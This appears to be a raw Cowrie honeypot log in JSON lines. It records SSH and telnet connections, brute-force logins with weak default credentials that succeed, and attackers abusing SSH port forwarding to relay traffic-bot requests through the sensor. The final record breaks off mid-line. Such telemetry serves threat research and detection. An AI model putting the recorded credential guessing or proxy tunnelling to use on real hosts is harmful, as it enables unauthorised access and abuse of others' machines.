{"eventid":"cowrie.login.failed","username":"root","password":"14101996","message":"login attempt [root/14101996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:45.428692Z","src_ip":"46.19.67.181","session":"65eb44382386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:46.546417Z","src_ip":"46.19.67.181","session":"65eb44382386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:46.799518Z","src_ip":"27.71.230.31","session":"9cd3f87aff13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":55047,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf74899372d","protocol":"ssh","message":"New connection: 173.208.188.210:55047 (10.17.0.5:22) [session: 8cf74899372d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:50.327610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:50.332097Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:50.491641Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.407227754592896,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:51.582693Z","src_ip":"128.199.8.54","session":"0c449288e47c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:52.003156Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63516,"dst_ip":"10.17.0.5","dst_port":22,"session":"859e33ef5a6d","protocol":"ssh","message":"New connection: 123.27.168.40:63516 (10.17.0.5:22) [session: 859e33ef5a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:54.043962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:54.049214Z","src_ip":"123.27.168.40","session":"859e33ef5a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:54.420295Z","src_ip":"123.27.168.40","session":"859e33ef5a6d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:55.602361Z","src_ip":"123.27.168.40","session":"859e33ef5a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:55.996091Z","session":"859e33ef5a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:56.244527Z","src_ip":"123.27.168.40","session":"859e33ef5a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Enjoy Tablet) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=L1NAM2loKWxRT2RHXndiQw%3D%3DhxmVJc5Rtoe5KJON88rrDK9oJyuMV875YX1Mf2MRIvel5D%2FD4KS2J9Ud%2FsYhA4hNEHGtJ6QbCVxdom8lJalagin5laoY%2FlePWAitGD7nRs1Xe2blXkDBHoXUXXoDlLne4ZcfjeIv93%2BAvMa7CPA079tPvHmd5E9OS0UOsrRH8iMOZYgmCY4lc16v5XmwDOs7Dxvg8DuYqSJggJ8LvuZBRPcncfZ0Ew45cLwpwhEnaxFaVFbKI0RuSwObenVI73nysMHVh64iVmKUCKk1iTR3P4KN%2BWw%2Bmdb6oQs29O%2Ff%2F23uJbO3qVKq3ijL%2BeKqXYnRGOjShv%2FZ5O8NBUPkWsTIYV2GRLgkyauFbgwGUSjbKZjrSxwByYMHoM6SlePf6Pyll6lTPcSdtAX5qgtDEFGTV%2BpmPAaIgMH%2BL%2BzMrz%2F2xQ0GNem0jWJp%2FHkJuNYAoq0EFNsV4NDPaELdAxt3k4U8lATlqZjyM26%2Ffqdfrvt7rf%2B7tGwwISZpOCkfWe15luU1nD2Nu9Z%2FsfiEqmfVEOVuGaNnxp8X8y86Vw%2Fb4zZ7fZ2GuhJwsDC36YhPhXyIX5Zr%2FZJGnebA%2BYILlpT%2B5Q3s%2FkxhfmZtWTarAhjtdBpXQbTEX4yb5V0tKZGCv4udrHW1z2YexGjzAORik%2FyHVk4R1FIP%2FeSJryXm7e5FffW9Tn22OT4XYCBmHYOkEV9SSK1k8KJM9CxyCc1Xn9MPtqnNPvylOD0SP8c4mqpU4tpgpseEz6gnZ9zAIvV9%2Bdp51mgxAqRTXuSftPHtBP0s%2FPg3B6JU1yPZxVW0D33XvCHWxB0Q3tyfGtuU4ufBctjC6hulXnRotCy%2BXlyoPuGTUQzyDxwPWJREJ7h1KUQwyzDYSwFt%2FbzJIFJqsa7ugNER1PyTIBMaIp1wNac4m00pP0BvMV7p%2FRrOnGORWO4ZvYxWPnsDjdBJt7oOgEYqz8GTUVZOf%2BTV9KfGt6KK9QSsjCnvYLoCjhMFFsjlgZZ7vJYYvqgTGdm%2B26wtzHBQFJanLTcQlucCBgjjjjI2VsfBYWPKHe2OuwZGcq9VlrN%2F9YYjrTOT6h0CSkKRkb6hjq1vtdFA'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Enjoy Tablet) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=L1NAM2loKWxRT2RHXndiQw%3D%3DhxmVJc5Rtoe5KJON88rrDK9oJyuMV875YX1Mf2MRIvel5D%2FD4KS2J9Ud%2FsYhA4hNEHGtJ6QbCVxdom8lJalagin5laoY%2FlePWAitGD7nRs1Xe2blXkDBHoXUXXoDlLne4ZcfjeIv93%2BAvMa7CPA079tPvHmd5E9OS0UOsrRH8iMOZYgmCY4lc16v5XmwDOs7Dxvg8DuYqSJggJ8LvuZBRPcncfZ0Ew45cLwpwhEnaxFaVFbKI0RuSwObenVI73nysMHVh64iVmKUCKk1iTR3P4KN%2BWw%2Bmdb6oQs29O%2Ff%2F23uJbO3qVKq3ijL%2BeKqXYnRGOjShv%2FZ5O8NBUPkWsTIYV2GRLgkyauFbgwGUSjbKZjrSxwByYMHoM6SlePf6Pyll6lTPcSdtAX5qgtDEFGTV%2BpmPAaIgMH%2BL%2BzMrz%2F2xQ0GNem0jWJp%2FHkJuNYAoq0EFNsV4NDPaELdAxt3k4U8lATlqZjyM26%2Ffqdfrvt7rf%2B7tGwwISZpOCkfWe15luU1nD2Nu9Z%2FsfiEqmfVEOVuGaNnxp8X8y86Vw%2Fb4zZ7fZ2GuhJwsDC36YhPhXyIX5Zr%2FZJGnebA%2BYILlpT%2B5Q3s%2FkxhfmZtWTarAhjtdBpXQbTEX4yb5V0tKZGCv4udrHW1z2YexGjzAORik%2FyHVk4R1FIP%2FeSJryXm7e5FffW9Tn22OT4XYCBmHYOkEV9SSK1k8KJM9CxyCc1Xn9MPtqnNPvylOD0SP8c4mqpU4tpgpseEz6gnZ9zAIvV9%2Bdp51mgxAqRTXuSftPHtBP0s%2FPg3B6JU1yPZxVW0D33XvCHWxB0Q3tyfGtuU4ufBctjC6hulXnRotCy%2BXlyoPuGTUQzyDxwPWJREJ7h1KUQwyzDYSwFt%2FbzJIFJqsa7ugNER1PyTIBMaIp1wNac4m00pP0BvMV7p%2FRrOnGORWO4ZvYxWPnsDjdBJt7oOgEYqz8GTUVZOf%2BTV9KfGt6KK9QSsjCnvYLoCjhMFFsjlgZZ7vJYYvqgTGdm%2B26wtzHBQFJanLTcQlucCBgjjjjI2VsfBYWPKHe2OuwZGcq9VlrN%2F9YYjrTOT6h0CSkKRkb6hjq1vtdFA'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:56.247540Z","src_ip":"123.27.168.40","session":"859e33ef5a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.231","src_port":17496,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cb02279eb13","protocol":"telnet","message":"New connection: 66.132.224.231:17496 (159.203.135.109:23) [session: 6cb02279eb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:58.655077Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.066686Z","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.100685Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xd0\\x9c\\x9b\\xb0\\xef9\\x8e=\\xf2\\x1a\\xafDh\\x1f\\x81N\\xfb\\x98!&7\\xf0\\x99\\x0c\\xa0\\xec\\xb8\\xeem\\xe3\\x9b V P\\\\\\x7f=`k\\xbb\\x16\\xce\"|\\x7f\\\\\\xce\\xf9:\\xc8\\x15\\x1f\\xb72\\x164kJ\\x91\\x8d\\xba\\xb4\\x0f\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 a\\xd0\\x85:O\\xd3\\xf7\\x10\\x9cS\\x1eu\\xf1\\xfe\\xba_Q\\xe9\\x7f\\xce\\n\\x85\\xfa-\\x86\\x05y\\x897}\\x83N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xd0\\x9c\\x9b\\xb0\\xef9\\x8e=\\xf2\\x1a\\xafDh\\x1f\\x81N\\xfb\\x98!&7\\xf0\\x99\\x0c\\xa0\\xec\\xb8\\xeem\\xe3\\x9b V P\\\\\\x7f=`k\\xbb\\x16\\xce\"|\\x7f\\\\\\xce\\xf9:\\xc8\\x15\\x1f\\xb72\\x164kJ\\x91\\x8d\\xba\\xb4\\x0f\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 a\\xd0\\x85:O\\xd3\\xf7\\x10\\x9cS\\x1eu\\xf1\\xfe\\xba_Q\\xe9\\x7f\\xce\\n\\x85\\xfa-\\x86\\x05y\\x897}\\x83N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.116190Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.249614Z","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.253124Z","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:59.424697Z","src_ip":"173.208.188.210","session":"8cf74899372d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.4 EdgiOS/90.0.818.42 Mobile/15F79 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=XklVMV44ZlU%2BUz5%2BUGRtQw%3D%3DzM3lz2cvZNttjToshmAjvYszRtCIEzMIt%2FSn4oE%2BdqhgoiVHKFWnz0ozWPwDXneg0iN8PBcfu37fRKfYChAoZhWrpoQ6jT90Ce3lpsWtfzIJRUngopwES%2FHB7cY897ZEPf5EvHvjuJs1uFYLjwhPhdPhE%2FOAC1Zu5cYt%2FNy4YdEszs07DA1797lvljqDTbXQelClk4VwY8w3S5sBqRsmwC5ymm9r%2FK6Sn6LhLFrb5o%2BuYqDb5PT51tXuUPEBpPD5Tn9PPR5UUnk93CoTCTOdWrIKeZ%2BbczpbXaHYHIRoVFdG6x3bx5gORUumdKQimiBc1rGqpwLsi8KaJXjKE3ZHJyVeLbVI8CMlsR4uSq8mJGfC0r8l79EhKScQJqU4cbGErONB10CRARkTIVpIBVDxmR%2FVlrhGCc6Bth1wVFnSieNFPIoB1zP%2FK1hBixThj3OIm1MvhBFkTn1rQc%2Fnjl%2BbuPA6JlV9IzpYvrrOCnJNNlKOi4iKBKKws%2FsJBm8Kk3HPN13bAKernLBZqr%2Fd1BQuciCSvtC6APtbCK4A52chccgYQ3ecR1EvLRf9vocu%2FogCKMUQxAiacbcgWpJ4W7HVRA5jobzyp8O2Ko2%2BgObKRShYlt6VkNNIKFZQoTq%2FV7DBr7A5%2FM%2F9TOEeCC8sF3oxRTOQld%2Fh0yrLHU97KjzEcRUezSoT3jia4jTpeOmp6WEnW30DUwtHeoqUCsOe18xj8mw1jeF%2BIqVm8KBEpoV8tbmz0IjMrtMiHcjLI13rarPmq%2FhpBEfq4F7pXeM9X5kfeA3e3QHBoYU8M9DwBeUoQXeWuf%2BGZkf6ncuG9rquR%2F2VESYIp7jue3muGY%2BIrf7Iai49uvCN01dNXrsr6llXi5TUq49NyAV3D2gaWwhG7msjzoUfH03wdSLTNKk9yp2so2ivvEPq35WBUb2cy1UbkaypfGpgkE9IOfTnrC96cvEBrMr7l6WVvHkUR4SqvWiHswxlDNHSoOzQ7i7X3O%2FmL%2FSlPqMyZKIBYbwIUFON%2BeBIPSLbqbTulpwQmHUx%2BDBuI1CFSq7cH9Vr3Z90GKimXv8%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.4 EdgiOS/90.0.818.42 Mobile/15F79 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: 